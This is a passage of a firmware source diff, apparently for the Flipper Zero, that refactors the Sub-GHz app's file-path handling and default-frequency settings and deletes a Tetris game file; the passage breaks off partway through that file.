subghz_get_frequency_modulation(SubGhz* subghz, string_t frequency, string_ if(modulation != NULL) { if(subghz->txrx->preset == FuriHalSubGhzPresetOok650Async || subghz->txrx->preset == FuriHalSubGhzPresetOok270Async) { - string_set(modulation, "AM"); + string_set_str(modulation, "AM"); } else if( subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev238Async || subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev476Async) { - string_set(modulation, "FM"); + string_set_str(modulation, "FM"); } else { furi_crash("SugGhz: Modulation is incorrect."); } @@ -191,8 +194,9 @@ void subghz_tx_stop(SubGhz* subghz) { //if protocol dynamic then we save the last upload if((subghz->txrx->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) && - (strcmp(subghz->file_path, ""))) { - subghz_save_protocol_to_file(subghz, subghz->txrx->fff_data, subghz->file_path); + (subghz_path_is_file(subghz->file_path))) { + subghz_save_protocol_to_file( + subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); } subghz_idle(subghz); notification_message(subghz->notifications, &sequence_reset_red); @@ -334,10 +338,10 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { bool res = false; - if(strcmp(subghz->file_path, "")) { + if(subghz_path_is_file(subghz->file_path)) { //get the name of the next free file - path_extract_filename_no_ext(subghz->file_path, file_name); - path_extract_dirname(subghz->file_path, file_path); + path_extract_filename(subghz->file_path, file_name, true); + path_extract_dirname(string_get_cstr(subghz->file_path), file_path); storage_get_next_filename( storage, @@ -353,7 +357,7 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { string_get_cstr(file_path), string_get_cstr(file_name), SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, temp_str); res = true; } @@ -413,19 +417,17 @@ bool subghz_load_protocol_from_file(SubGhz* subghz) { string_init(file_path); // Input events and views are managed by file_select - bool res = dialog_file_select_show( + bool res = dialog_file_browser_show( subghz->dialogs, - SUBGHZ_APP_FOLDER, - SUBGHZ_APP_EXTENSION, subghz->file_path, - sizeof(subghz->file_path), - NULL); + subghz->file_path, + SUBGHZ_APP_EXTENSION, + true, + &I_sub1_10px, + true); if(res) { - string_printf( - file_path, "%s/%s%s", SUBGHZ_APP_FOLDER, subghz->file_path, SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(file_path), SUBGHZ_MAX_LEN_NAME); - res = subghz_key_load(subghz, subghz->file_path); + res = subghz_key_load(subghz, string_get_cstr(subghz->file_path)); } string_clear(file_path); @@ -439,9 +441,9 @@ bool subghz_rename_file(SubGhz* subghz) { Storage* storage = furi_record_open("storage"); - if(strcmp(subghz->file_path_tmp, subghz->file_path)) { - FS_Error fs_result = - storage_common_rename(storage, subghz->file_path_tmp, subghz->file_path); + if(string_cmp(subghz->file_path_tmp, subghz->file_path)) { + FS_Error fs_result = storage_common_rename( + storage, string_get_cstr(subghz->file_path_tmp), string_get_cstr(subghz->file_path)); if(fs_result != FSE_OK) { dialog_message_show_storage_error(subghz->dialogs, "Cannot rename\n file/directory"); @@ -457,7 +459,7 @@ bool subghz_delete_file(SubGhz* subghz) { furi_assert(subghz); Storage* storage = furi_record_open("storage"); - bool result = storage_simply_remove(storage, subghz->file_path_tmp); + bool result = storage_simply_remove(storage, string_get_cstr(subghz->file_path_tmp)); furi_record_close("storage"); subghz_file_name_clear(subghz); @@ -467,8 +469,12 @@ bool subghz_delete_file(SubGhz* subghz) { void subghz_file_name_clear(SubGhz* subghz) { furi_assert(subghz); - memset(subghz->file_path, 0, sizeof(subghz->file_path)); - memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); + string_reset(subghz->file_path_tmp); +} + +bool subghz_path_is_file(string_t path) { + return string_end_with_str_p(path, SUBGHZ_APP_EXTENSION); } uint32_t subghz_random_serial(void) { diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index b1a932836..accb79c00 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -36,7 +36,7 @@ #include #include -#define SUBGHZ_MAX_LEN_NAME 250 +#define SUBGHZ_MAX_LEN_NAME 64 /** SubGhzNotification state */ typedef enum { @@ -128,10 +128,9 @@ struct SubGhz { ByteInput* byte_input; Widget* widget; DialogsApp* dialogs; - char file_path[SUBGHZ_MAX_LEN_NAME + 1]; - char file_path_tmp[SUBGHZ_MAX_LEN_NAME + 1]; - //ToDo you can get rid of it, you need to refactor text input to return the path to the folder - char file_dir[SUBGHZ_MAX_LEN_NAME + 1]; + string_t file_path; + string_t file_path_tmp; + char file_name_tmp[SUBGHZ_MAX_LEN_NAME]; SubGhzNotificationState state_notifications; SubGhzViewReceiver* subghz_receiver; @@ -183,5 +182,6 @@ bool subghz_load_protocol_from_file(SubGhz* subghz); bool subghz_rename_file(SubGhz* subghz); bool subghz_delete_file(SubGhz* subghz); void subghz_file_name_clear(SubGhz* subghz); +bool subghz_path_is_file(string_t path); uint32_t subghz_random_serial(void); void subghz_hopper_update(SubGhz* subghz); diff --git a/applications/subghz/subghz_setting.c b/applications/subghz/subghz_setting.c index f5d3da5d4..6a589c03e 100644 --- a/applications/subghz/subghz_setting.c +++ b/applications/subghz/subghz_setting.c @@ -7,16 +7,14 @@ #define TAG "SubGhzSetting" -#define SUBGHZ_SETTING_FILE_VERSION 1 #define SUBGHZ_SETTING_FILE_TYPE "Flipper SubGhz Setting File" +#define SUBGHZ_SETTING_FILE_VERSION 1 -typedef enum { - SubGhzSettingStateNoLoad = 0, - SubGhzSettingStateLoadFrequencyDefault, - SubGhzSettingStateOkLoad, -} SubGhzSettingState; +#define FREQUENCY_FLAG_DEFAULT (1 << 31) +#define FREQUENCY_MASK (0xFFFFFFFF ^ FREQUENCY_FLAG_DEFAULT) -static const uint32_t subghz_frequencies[] = { +/* Default */ +static const uint32_t subghz_frequency_list[] = { /* 300 - 348 */ 300000000, 302757000, /* FCC ID N6U303NTX */ @@ -36,8 +34,7 @@ static const uint32_t subghz_frequencies[] = { 433220000, /* 2016-2020 Honda */ 433420000, 433889000, /* ROGUE? */ - - 433920000, /* LPD433 mid */ + 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, @@ -51,7 +48,9 @@ static const uint32_t subghz_frequencies[] = { 928000000, 0, }; -static const uint32_t subghz_hopper_frequencies[] = { + +static const uint32_t subghz_hopper_frequency_list[] = { + 310000000, 315000000, 318000000, 390000000, @@ -59,13 +58,14 @@ static const uint32_t subghz_hopper_frequencies[] = { 868350000, 0, }; -static const uint32_t subghz_frequency_default_index = 9; -static const uint32_t subghz_frequencies_region_eu_ru[] = { +/* Europe and Russia */ +static const uint32_t subghz_frequency_list_region_eu_ru[] = { /* 300 - 348 */ 300000000, 303875000, 304250000, + 310000000, 315000000, 318000000, @@ -74,7 +74,7 @@ static const uint32_t subghz_frequencies_region_eu_ru[] = { 418000000, 433075000, /* LPD433 first */ 433420000, - 433920000, /* LPD433 mid */ + 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, @@ -85,7 +85,8 @@ static const uint32_t subghz_frequencies_region_eu_ru[] = { 925000000, 0, }; -static const uint32_t subghz_hopper_frequencies_region_eu_ru[] = { +static const uint32_t subghz_hopper_frequency_list_region_eu_ru[] = { + 310000000, 315000000, 318000000, 390000000, @@ -93,13 +94,14 @@ static const uint32_t subghz_hopper_frequencies_region_eu_ru[] = { 868350000, 0, }; -static const uint32_t subghz_frequency_default_index_region_eu_ru = 9; -static const uint32_t subghz_frequencies_region_us_ca_au[] = { +/* Region 0 */ +static const uint32_t subghz_frequency_list_region_us_ca_au[] = { /* 300 - 348 */ 300000000, 303875000, 304250000, + 310000000, 315000000, 318000000, @@ -108,7 +110,7 @@ static const uint32_t subghz_frequencies_region_us_ca_au[] = { 418000000, 433075000, /* LPD433 first */ 433420000, - 433920000, /* LPD433 mid */ + 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, @@ -119,7 +121,8 @@ static const uint32_t subghz_frequencies_region_us_ca_au[] = { 925000000, 0, }; -static const uint32_t subghz_hopper_frequencies_region_us_ca_au[] = { +static const uint32_t subghz_hopper_frequency_list_region_us_ca_au[] = { + 310000000, 315000000, 318000000, 390000000, @@ -127,13 +130,13 @@ static const uint32_t subghz_hopper_frequencies_region_us_ca_au[] = { 868350000, 0, }; -static const uint32_t subghz_frequency_default_index_region_us_ca_au = 9; -static const uint32_t subghz_frequencies_region_jp[] = { +static const uint32_t subghz_frequency_list_region_jp[] = { /* 300 - 348 */ 300000000, 303875000, 304250000, + 310000000, 315000000, 318000000, @@ -142,7 +145,7 @@ static const uint32_t subghz_frequencies_region_jp[] = { 418000000, 433075000, /* LPD433 first */ 433420000, - 433920000, /* LPD433 mid */ + 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, @@ -153,7 +156,8 @@ static const uint32_t subghz_frequencies_region_jp[] = { 925000000, 0, }; -static const uint32_t subghz_hopper_frequencies_region_jp[] = { +static const uint32_t subghz_hopper_frequency_list_region_jp[] = { + 310000000, 315000000, 318000000, 390000000, @@ -161,72 +165,68 @@ static const uint32_t subghz_hopper_frequencies_region_jp[] = { 868350000, 0, }; -static const uint32_t subghz_frequency_default_index_region_jp = 9; -LIST_DEF(FrequenciesList, uint32_t) +LIST_DEF(FrequencyList, uint32_t) + +#define M_OPL_FrequencyList_t() LIST_OPLIST(FrequencyList) struct SubGhzSetting { - FrequenciesList_t frequencies; - FrequenciesList_t hopper_frequencies; - size_t frequencies_count; - size_t hopper_frequencies_count; - uint32_t frequency_default_index; + FrequencyList_t frequencies; + FrequencyList_t hopper_frequencies; }; SubGhzSetting* subghz_setting_alloc(void) { SubGhzSetting* instance = malloc(sizeof(SubGhzSetting)); - FrequenciesList_init(instance->frequencies); - FrequenciesList_init(instance->hopper_frequencies); + FrequencyList_init(instance->frequencies); + FrequencyList_init(instance->hopper_frequencies); return instance; } void subghz_setting_free(SubGhzSetting* instance) { furi_assert(instance); - FrequenciesList_clear(instance->frequencies); - FrequenciesList_clear(instance->hopper_frequencies); + FrequencyList_clear(instance->frequencies); + FrequencyList_clear(instance->hopper_frequencies); free(instance); } -void subghz_setting_load_default( +static void subghz_setting_load_default_region( SubGhzSetting* instance, const uint32_t frequencies[], - const uint32_t hopper_frequencies[], - const uint32_t frequency_default_index) { + const uint32_t hopper_frequencies[]) { furi_assert(instance); - size_t i = 0; - FrequenciesList_clear(instance->frequencies); - FrequenciesList_clear(instance->hopper_frequencies); - i = 0; - while(frequencies[i]) { - FrequenciesList_push_back(instance->frequencies, frequencies[i]); - i++; - } - instance->frequencies_count = i; - i = 0; - while(hopper_frequencies[i]) { - FrequenciesList_push_back(instance->hopper_frequencies, hopper_frequencies[i]); - i++; - } - instance->hopper_frequencies_count = i; + FrequencyList_reset(instance->frequencies); + FrequencyList_reset(instance->hopper_frequencies); - instance->frequency_default_index = frequency_default_index; + while(*frequencies) { + FrequencyList_push_back(instance->frequencies, *frequencies); + frequencies++; + } + + while(*hopper_frequencies) { + FrequencyList_push_back(instance->hopper_frequencies, *hopper_frequencies); + hopper_frequencies++; + } +} + +// Region check removed +void subghz_setting_load_default(SubGhzSetting* instance) { + subghz_setting_load_default_region( + instance, subghz_frequency_list, subghz_hopper_frequency_list); } void subghz_setting_load(SubGhzSetting* instance, const char* file_path) { furi_assert(instance); - FrequenciesList_clear(instance->frequencies); - FrequenciesList_clear(instance->hopper_frequencies); - Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); string_t temp_str; string_init(temp_str); uint32_t temp_data32; - SubGhzSettingState loading = SubGhzSettingStateNoLoad; - uint16_t i = 0; + bool temp_bool; + + subghz_setting_load_default(instance); if(file_path) { do { @@ -247,63 +247,60 @@ void subghz_setting_load(SubGhzSetting* instance, const char* file_path) { break; } + // Standard frequencies (optional) + temp_bool = true; + flipper_format_read_bool(fff_data_file, "add_standard_frequencies", &temp_bool, 1); + if(!temp_bool) { + FURI_LOG_I(TAG, "Removing standard frequencies"); + FrequencyList_reset(instance->frequencies); + FrequencyList_reset(instance->hopper_frequencies); + } else { + FURI_LOG_I(TAG, "Keeping standard frequencies"); + } + + // Load frequencies if(!flipper_format_rewind(fff_data_file)) { FURI_LOG_E(TAG, "Rewind error"); break; } - i = 0; while(flipper_format_read_uint32( - fff_data_file, "Frequency", (uint32_t*)&temp_data32, 1)) { + fff_data_file, "frequency", (uint32_t*)&temp_data32, 1)) { if(furi_hal_subghz_is_frequency_valid(temp_data32)) { FURI_LOG_I(TAG, "Frequency loaded %lu", temp_data32); - FrequenciesList_push_back(instance->frequencies, temp_data32); - i++; + FrequencyList_push_back(instance->frequencies, temp_data32); } else { FURI_LOG_E(TAG, "Frequency not supported %lu", temp_data32); } } - instance->frequencies_count = i; + // Load hopper frequencies if(!flipper_format_rewind(fff_data_file)) { FURI_LOG_E(TAG, "Rewind error"); break; } - i = 0; while(flipper_format_read_uint32( - fff_data_file, "Hopper_frequency", (uint32_t*)&temp_data32, 1)) { + fff_data_file, "hopper_frequency", (uint32_t*)&temp_data32, 1)) { if(furi_hal_subghz_is_frequency_valid(temp_data32)) { FURI_LOG_I(TAG, "Hopper frequency loaded %lu", temp_data32); - FrequenciesList_push_back(instance->hopper_frequencies, temp_data32); - i++; + FrequencyList_push_back(instance->hopper_frequencies, temp_data32); } else { FURI_LOG_E(TAG, "Hopper frequency not supported %lu", temp_data32); } } - instance->hopper_frequencies_count = i; + // Default frequency (optional) if(!flipper_format_rewind(fff_data_file)) { FURI_LOG_E(TAG, "Rewind error"); break; } - if(!flipper_format_read_uint32( - fff_data_file, "Frequency_default", (uint32_t*)&temp_data32, 1)) { - FURI_LOG_E(TAG, "Frequency default missing"); - break; - } - - for(i = 0; i < instance->frequencies_count; i++) { - if(subghz_setting_get_frequency(instance, i) == temp_data32) { - instance->frequency_default_index = i; - FURI_LOG_I(TAG, "Frequency default index %lu", i); - loading = SubGhzSettingStateLoadFrequencyDefault; - break; - } - } - - if(loading == SubGhzSettingStateLoadFrequencyDefault) { - loading = SubGhzSettingStateOkLoad; - } else { - FURI_LOG_E(TAG, "Frequency default index missing"); + if(flipper_format_read_uint32(fff_data_file, "default_frequency", &temp_data32, 1)) { + for + M_EACH(frequency, instance->frequencies, FrequencyList_t) { + *frequency &= FREQUENCY_MASK; + if(*frequency == temp_data32) { + *frequency |= FREQUENCY_FLAG_DEFAULT; + } + } } } while(false); } @@ -312,67 +309,56 @@ void subghz_setting_load(SubGhzSetting* instance, const char* file_path) { flipper_format_free(fff_data_file); furi_record_close("storage"); - if(loading != SubGhzSettingStateOkLoad) { - switch(furi_hal_version_get_hw_region()) { - case FuriHalVersionRegionEuRu: - subghz_setting_load_default( - instance, - subghz_frequencies_region_eu_ru, - subghz_hopper_frequencies_region_eu_ru, - subghz_frequency_default_index_region_eu_ru); - break; - case FuriHalVersionRegionUsCaAu: - subghz_setting_load_default( - instance, - subghz_frequencies_region_us_ca_au, - subghz_hopper_frequencies_region_us_ca_au, - subghz_frequency_default_index_region_us_ca_au); - break; - case FuriHalVersionRegionJp: - subghz_setting_load_default( - instance, - subghz_frequencies_region_jp, - subghz_hopper_frequencies_region_jp, - subghz_frequency_default_index_region_jp); - break; - - default: - subghz_setting_load_default( - instance, - subghz_frequencies, - subghz_hopper_frequencies, - subghz_frequency_default_index); - break; - } + if(!FrequencyList_size(instance->frequencies) || + !FrequencyList_size(instance->hopper_frequencies)) { + FURI_LOG_E(TAG, "Error loading user settings, loading default settings"); + subghz_setting_load_default(instance); } } size_t subghz_setting_get_frequency_count(SubGhzSetting* instance) { furi_assert(instance); - return instance->frequencies_count; + return FrequencyList_size(instance->frequencies); } size_t subghz_setting_get_hopper_frequency_count(SubGhzSetting* instance) { furi_assert(instance); - return instance->hopper_frequencies_count; + return FrequencyList_size(instance->hopper_frequencies); } uint32_t subghz_setting_get_frequency(SubGhzSetting* instance, size_t idx) { furi_assert(instance); - return *FrequenciesList_get(instance->frequencies, idx); + uint32_t* ret = FrequencyList_get(instance->frequencies, idx); + if(ret) { + return (*ret) & FREQUENCY_MASK; + } else { + return 0; + } } uint32_t subghz_setting_get_hopper_frequency(SubGhzSetting* instance, size_t idx) { furi_assert(instance); - return *FrequenciesList_get(instance->hopper_frequencies, idx); + uint32_t* ret = FrequencyList_get(instance->hopper_frequencies, idx); + if(ret) { + return *ret; + } else { + return 0; + } } uint32_t subghz_setting_get_frequency_default_index(SubGhzSetting* instance) { furi_assert(instance); - return instance->frequency_default_index; + for(size_t i = 0; i < FrequencyList_size(instance->frequencies); i++) { + uint32_t frequency = *FrequencyList_get(instance->frequencies, i); + if(frequency & FREQUENCY_FLAG_DEFAULT) { + return i; + } + } + return 0; } uint32_t subghz_setting_get_default_frequency(SubGhzSetting* instance) { furi_assert(instance); - return *FrequenciesList_get(instance->frequencies, instance->frequency_default_index); + return subghz_setting_get_frequency( + instance, subghz_setting_get_frequency_default_index(instance)); } diff --git a/applications/subghz/views/receiver.c b/applications/subghz/views/receiver.c index 7b19cbcf2..866d82726 100644 --- a/applications/subghz/views/receiver.c +++ b/applications/subghz/views/receiver.c @@ -111,9 +111,9 @@ void subghz_view_receiver_add_data_statusbar( furi_assert(subghz_receiver); with_view_model( subghz_receiver->view, (SubGhzViewReceiverModel * model) { - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); - string_set(model->history_stat_str, history_stat_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); + string_set_str(model->history_stat_str, history_stat_str); return true; }); } diff --git a/applications/subghz/views/subghz_frequency_analyzer.c b/applications/subghz/views/subghz_frequency_analyzer.c index ec3c5ee9a..d3f773159 100644 --- a/applications/subghz/views/subghz_frequency_analyzer.c +++ b/applications/subghz/views/subghz_frequency_analyzer.c @@ -111,7 +111,7 @@ void subghz_frequency_analyzer_enter(void* context) { SubGhzFrequencyAnalyzer* instance = context; //Start worker - instance->worker = subghz_frequency_analyzer_worker_alloc(); + instance->worker = subghz_frequency_analyzer_worker_alloc(instance->context); subghz_frequency_analyzer_worker_set_pair_callback( instance->worker, diff --git a/applications/subghz/views/subghz_read_raw.c b/applications/subghz/views/subghz_read_raw.c index ff3ba45a3..a4807d775 100644 --- a/applications/subghz/views/subghz_read_raw.c +++ b/applications/subghz/views/subghz_read_raw.c @@ -46,8 +46,8 @@ void subghz_read_raw_add_data_statusbar( furi_assert(instance); with_view_model( instance->view, (SubGhzReadRAWModel * model) { - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); return true; }); } @@ -372,7 +372,7 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { model->satus = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; - string_set(model->sample_write, "0 spl."); + string_set_str(model->sample_write, "0 spl."); string_reset(model->file_name); instance->callback(SubGhzCustomEventViewReadRAWErase, instance->context); } @@ -424,7 +424,7 @@ void subghz_read_raw_set_status( model->rssi_history_end = false; model->ind_write = 0; string_reset(model->file_name); - string_set(model->sample_write, "0 spl."); + string_set_str(model->sample_write, "0 spl."); return true; }); break; @@ -441,8 +441,8 @@ void subghz_read_raw_set_status( model->satus = SubGhzReadRAWStatusLoadKeyIDLE; model->rssi_history_end = false; model->ind_write = 0; - string_set(model->file_name, file_name); - string_set(model->sample_write, "RAW"); + string_set_str(model->file_name, file_name); + string_set_str(model->sample_write, "RAW"); return true; }); break; @@ -451,8 +451,8 @@ void subghz_read_raw_set_status( instance->view, (SubGhzReadRAWModel * model) { model->satus = SubGhzReadRAWStatusLoadKeyIDLE; if(!model->ind_write) { - string_set(model->file_name, file_name); - string_set(model->sample_write, "RAW"); + string_set_str(model->file_name, file_name); + string_set_str(model->sample_write, "RAW"); } else { string_reset(model->file_name); } diff --git a/applications/subghz/views/transmitter.c b/applications/subghz/views/transmitter.c index 3113e31f6..3cbcf098a 100644 --- a/applications/subghz/views/transmitter.c +++ b/applications/subghz/views/transmitter.c @@ -36,9 +36,9 @@ void subghz_view_transmitter_add_data_to_show( furi_assert(subghz_transmitter); with_view_model( subghz_transmitter->view, (SubGhzViewTransmitterModel * model) { - string_set(model->key_str, key_str); - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); + string_set_str(model->key_str, key_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); model->show_button = show_button; return true; }); diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c deleted file mode 100644 index 18c221b89..000000000 --- a/applications/tetris_game/tetris_game.c +++ /dev/null @@ -1,479 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include - -#define BORDER_OFFSET 1 -#define MARGIN_OFFSET 3 -#define BLOCK_HEIGHT 6 -#define BLOCK_WIDTH 6 - -#define FIELD_WIDTH 11 -#define FIELD_HEIGHT 24 - -typedef struct Point { - // Also used for offset data, which is sometimes negative - int8_t x, y; -} Point; - -// Rotation logic taken from -// https://www.youtube.com/watch?v=yIpk5TJ_uaI -typedef enum { - OffsetTypeCommon, - OffsetTypeI, - OffsetTypeO -} OffsetType; - -// Since we only support rotating clockwise, these are actual translation values, -// not values to be subtracted to get translation values - -static const Point rotOffsetTranslation[3][4][5] = { - { - { {0,0}, {-1,0}, {-1,-1}, {0,2}, {-1,2} }, - { {0,0}, {1,0}, {1,1}, {0,-2}, {1,-2} }, - { {0,0}, {1,0}, {1,-1}, {0,2}, {1,2} }, - { {0,0}, {-1,0}, {-1,1}, {0,-2}, {-1,-2} } - }, - { - { {1,0}, {-1,0}, {2,0}, {-1,1}, {2,-2} }, - { {0,1}, {-1,1}, {2,1}, {-1,-1}, {2,2} }, - { {-1,0}, {1,0}, {-2,0}, {1,-1}, {-2,2} }, - { {0,-1}, {1,-1}, {-2,-1}, {1,1}, {-2,-2} } - }, - { - { {0,-1}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {1,0}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {0,1}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {-1,0}, {0,0}, {0,0}, {0,0}, {0,0} } - } -}; - -typedef struct { - Point p[4]; - uint8_t rotIdx; - OffsetType offsetType; -} Piece; - -// Shapes @ spawn locations, rotation point first -static Piece shapes[] = { - { .p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // Z - { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // S - { .p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // L - { .p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // J - { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // T - { .p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI }, // I - { .p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO } // O -}; - -typedef enum { - GameStatePlaying, - GameStateGameOver -} GameState; - -typedef struct { - bool playField[FIELD_HEIGHT][FIELD_WIDTH]; - Piece currPiece; - uint16_t numLines; - uint16_t fallSpeed; - GameState gameState; - osTimerId_t timer; -} TetrisState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} TetrisEvent; - -static void tetris_game_draw_border(Canvas* const canvas) { - canvas_draw_line(canvas, 0, 0, 0, 127); - canvas_draw_line(canvas, 0, 127, 63, 127); - canvas_draw_line(canvas, 63, 127, 63, 0); - - canvas_draw_line(canvas, 2, 0, 2, 125); - canvas_draw_line(canvas, 2, 125, 61, 125); - canvas_draw_line(canvas, 61, 125, 61, 0); -} - -static void tetris_game_draw_playfield(Canvas* const canvas, const TetrisState* tetris_state) { - // Playfield: 11 x 24 - - for (int y = 0; y < FIELD_HEIGHT; y++) { - for (int x = 0; x < FIELD_WIDTH; x++) { - if (tetris_state->playField[y][x]) { - uint16_t xOffset = x * 5; - uint16_t yOffset = y * 5; - - canvas_draw_rframe( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset, - BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, - BLOCK_WIDTH, - BLOCK_HEIGHT, - 1 - ); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 - ); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 3, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 - ); - canvas_draw_dot( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2 - ); - } - } - } -} - -static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { - const TetrisState* tetris_state = acquire_mutex((ValueMutex*)ctx, 25); - if(tetris_state == NULL) { - FURI_LOG_E("TetrisGame", "it null"); - return; - } - - tetris_game_draw_border(canvas); - tetris_game_draw_playfield(canvas, tetris_state); - - if(tetris_state->gameState == GameStateGameOver) { - // 128 x 64 - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 1, 52, 62, 24); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 1, 52, 62, 24); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 63, "Game Over"); - - char buffer[13]; - snprintf(buffer, sizeof(buffer), "Lines: %u", tetris_state->numLines); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 32, 73, AlignCenter, AlignBottom, buffer); - } - release_mutex((ValueMutex *)ctx, tetris_state); - } - -static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { - furi_assert(event_queue); - - TetrisEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); -} - -static void tetris_game_init_state(TetrisState* tetris_state) { - tetris_state->gameState = GameStatePlaying; - tetris_state->numLines = 0; - tetris_state->fallSpeed = 500; - memset(tetris_state->playField, 0, sizeof(tetris_state->playField)); - - memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); - - osTimerStart(tetris_state->timer, tetris_state->fallSpeed); -} - -static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { - for (int i = 0; i < 4; i++) { - uint8_t x = tetris_state->currPiece.p[i].x; - uint8_t y = tetris_state->currPiece.p[i].y; - - tetris_state->playField[y][x] = false; - } -} - -static void tetris_game_render_curr_piece(TetrisState* tetris_state) { - for (int i = 0; i < 4; i++) { - uint8_t x = tetris_state->currPiece.p[i].x; - uint8_t y = tetris_state->currPiece.p[i].y; - - tetris_state->playField[y][x] = true; - } -} - -static void tetris_game_rotate_shape(Point currShape[], Point newShape[]) { - // Copy shape data - for(int i = 0; i < 4; i++) { - newShape[i] = currShape[i]; - } - - for (int i = 1; i < 4; i++) { - int8_t relX = currShape[i].x - currShape[0].x; - int8_t relY = currShape[i].y - currShape[0].y; - - // Matrix rotation thing - int8_t newRelX = (relX * 0) + (relY * -1); - int8_t newRelY = (relX * 1) + (relY * 0); - - newShape[i].x = currShape[0].x + newRelX; - newShape[i].y = currShape[0].y + newRelY; - } -} - -static void tetris_game_apply_kick(Point points[], Point kick) { - for(int i = 0; i < 4; i++) { - points[i].x += kick.x; - points[i].y += kick.y; - } -} - -static bool tetris_game_is_valid_pos(TetrisState* tetris_state, Point* shape) { - for (int i = 0; i < 4; i++) { - if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || tetris_state->playField[shape[i].y][shape[i].x] == true) { - return false; - } - } - return true; -} - -static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) { - uint8_t currRotIdx = tetris_state->currPiece.rotIdx; - - Point *rotatedShape = malloc(sizeof(Point) * 4); - Point *kickedShape = malloc(sizeof(Point) * 4); - - memcpy(rotatedShape, &tetris_state->currPiece.p, sizeof(tetris_state->currPiece.p)); - - tetris_game_rotate_shape(tetris_state->currPiece.p, rotatedShape); - - for(int i = 0; i < 5; i++) { - memcpy(kickedShape, rotatedShape, (sizeof(Point) * 4)); - tetris_game_apply_kick(kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); - - if(tetris_game_is_valid_pos(tetris_state, kickedShape)) { - memcpy(&newPiece->p, kickedShape, sizeof(newPiece->p)); - newPiece->rotIdx = (newPiece->rotIdx + 1) % 4; - break; - } - } - free(rotatedShape); - free(kickedShape); -} - -static bool tetris_game_row_is_line(bool row[]) { - for(int i = 0; i < FIELD_WIDTH; i++) { - if(row[i] == false) - return false; - } - return true; -} - -static void tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { - for(int i = 0; i < FIELD_HEIGHT; i++) { - if(tetris_game_row_is_line(tetris_state->playField[i])) { - *(lines++) = i; - *numLines += 1; - } - } -} - -static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPiece) { - for (int i = 0; i < 4; i++) { - Point *pos = (Point 